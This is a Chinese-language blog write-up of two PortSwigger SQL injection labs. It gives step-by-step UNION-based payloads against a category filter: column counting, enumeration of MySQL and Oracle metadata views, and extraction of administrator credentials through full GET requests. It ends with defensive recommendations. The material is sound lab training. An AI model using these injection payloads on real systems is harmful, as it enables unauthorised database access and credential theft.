PortSwigger SQL注入LAB5 & LAB6

这两道实验都属于 UNION 联合查询注入的延伸题。它们的共同点很明显：都是从产品类别过滤器切入，先确认注入点，再判断列数，最后把数据库中的结构信息回显到页面里。

但它们的数据库环境并不一样：一题侧重 MySQL，另一题侧重 Oracle。正因为如此，注释符、系统视图这些细节会有差别，所以我把这两个 LAB 放在一起来分享，也顺便做个对比。

【本篇目标】
1. 先用 MySQL 题目演示一下，我是怎么从列数探测一路做到字段枚举，最后拿到 administrator 的密码并登录的。
2. 再补一段 Oracle 分支，看看同样的题目在 Oracle 中换一种思路是怎样的。

一、先记住这类题的通用思路

这类 UNION 注入题的主线其实不复杂，我一般会把它概括成四步：

• 确认注入点，通常是一个看起来普通的分类参数。
• 通过 ORDER BY n 判断原查询有几列。
• 用 NULL 对齐列数，再尝试把敏感数据带到可回显的列里。
• 根据数据库类型调整注释符和系统函数。

如果把这四步牢牢记住，后面再看到相似题型时，基本就是在切换数据库语法，而不是重新发明一套打法。

二、MySQL 分支：通过列名拿到密码

先看 MySQL 这道题。页面上的注入点仍然是 /filter?category=...，我先把后端查询大致推测出来：

SELECT * FROM products WHERE category = 'Gifts'

2.1 探测列数

为了让 UNION 语句成立，我得先知道原查询有几列。这里我用 ORDER BY n 逐步测试：

' ORDER BY 1-- 
' ORDER BY 2-- 
' ORDER BY 3-- 

当 ORDER BY 3 报错时，就说明原查询只有 2 列。这一步是后面所有 UNION 注入的前提。

【注释符提醒】
MySQL 中 -- 后面要保留空格；如果在 URL 里直接用，记得把空格写成 + 或 %20。
本篇后续示例统一用 -- 书写，方便阅读。

2.2 从信息架构里找字段

这道题的核心不是直接猜表名，而是先枚举数据库元数据。information_schema.columns 里面保存了列名信息，所以我先拿它来找用户名和密码字段：

SELECT * FROM products WHERE category = '' UNION SELECT NULL, column_name FROM information_schema.columns -- 

筛选结果里会出现两个很显眼的字段：username_vadgwn 和 password_txeztd。

2.3 反查表名

拿到列名之后，我再反查它们来自哪个表：

SELECT * FROM products WHERE category = '' UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name = 'username_vadgwn' -- 

SELECT * FROM products WHERE category = '' UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name = 'password_txeztd' -- 

两次查询都指向同一个表 users_teluls，说明凭据都存放在这里。

2.4 回显用户名和密码

既然已经确认表名，我就可以把用户名和密码直接拼到 UNION 结果里：

SELECT * FROM products WHERE category = '' UNION SELECT username_vadgwn, password_txeztd FROM users_teluls -- 

最终请求可以写成：

GET /filter?category=' UNION SELECT username_vadgwn,password_txeztd FROM users_teluls --+ HTTP/2

把回显结果中的 administrator 密码填回登录页，就能直接通过认证。

三、Oracle 分支：通过表名拿到密码

Oracle 题和上面的 MySQL 题思路几乎相同，不过我想换一种方法，也就是先查表名，再通过列名来验证是否为正确目标。

3.1 查询表名

在 MySQL 中，我们是通过“人肉扫描”的办法来寻找可疑项的；这一次我打算改成用 LIKE 搭配通配符来做模糊搜索。

还有一点要注意的是大小写问题。为了防止大小写不一致导致查询结果缺失，这里我用了一个 upper 函数把 table_name 转成大写，这样搜索时就不会区分大小写了。

SELECT * FROM products WHERE category = '' UNION SELECT NULL, table_name FROM all_tables WHERE upper(table_name) LIKE '%USER%' -- 

通过模糊搜索表名，我找到了可疑表名 USERS_NRCXBC。

3.2 检索列名

接下来我再看一下表中的列，是不是我要找的用户名和密码。

SELECT * FROM products WHERE category = '' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name   =  'USERS_NRCXBC' -- 

可以看到表中的列名分别为 EMAIL、PASSWORD_EBXMBT、USERNAME_MUXIWC，说明凭据确实存放在这张表里。

3.3 回显用户名和密码

确定了表名和列名之后，我就可以把用户名和密码直接拼到 UNION 结果里了：

SELECT * FROM products WHERE category = '' UNION SELECT USERNAME_MUXIWC, PASSWORD_EBXMBT FROM USERS_NRCXBC -- 

最终请求可以写成：

GET /filter?category=' UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC --+ HTTP/2

把回显结果中的 administrator 密码填回登录页，就能直接通过认证。

四、两者的区别

如果把这两道题放在一起看，最容易混淆的地方其实不是 UNION 的写法，而是数据库环境的切换。前面的操作步骤看起来差不多，但真正落地时，我还是得跟着数据库类型去调整注释符、系统视图和回显思路。

对比项	MySQL 分支	Oracle 分支
注释符	常用 -- ，注意后面要带空格	同样可以用 -- ，但更要留意 URL 编码
元数据视图	主要看 information_schema.columns	主要看 all_tables 和 all_tab_columns
查询思路	先找列名，再反查表名，最后回显用户名和密码	先模糊匹配表名，再确认列名，最后把目标字段直接拼进 UNION

所以本质上它们还是同一道类型题：先确认注入点，再判断列数，再按数据库语法去找元数据。只要把这个顺序稳住，后面换成别的数据库，也只是细节在变，思路不会变。

五、总结与防御建议

这两道实验都属于 UNION 联合查询注入，它们共同暴露出的问题也很一致：用户输入直接拼接进 SQL，错误信息被回显，数据库元数据也没有被限制。

根本成因我整理成三点：

• 产品类别过滤器参数被直接拼接到 SQL 语句中，未做安全处理；
• 应用将数据库错误直接回显给客户端，为列数探测和结构枚举提供反馈；
• 数据库账户和敏感表结构缺乏最小权限隔离，导致凭据或版本信息可被直接读取。

防御措施我也简单列一下：

• 参数化查询 —— 将 SQL 代码与用户数据彻底分离；
• 关闭详细错误回显 —— 生产环境屏蔽数据库报错细节，避免泄露结构信息；
• 限制系统元数据访问 —— 对 information_schema 等元数据视图进行访问控制；
• 最小权限原则 —— 数据库账户仅授予必要权限；
• 统一审计和告警 —— 对高频的 ORDER BY、UNION、系统视图访问行为做监控。

如果把这两道题放在一起看，最值得记住的不是具体 payload，而是思路：先确认注入点，再判断列数，再看数据库能提供哪些结构信息，最后把正确的数据放进正确的列里。只要这个顺序不乱，换数据库、换字段名、换系统视图，实际上都只是细节变化。

---

博客园技术分享 · 请勿用于非法测试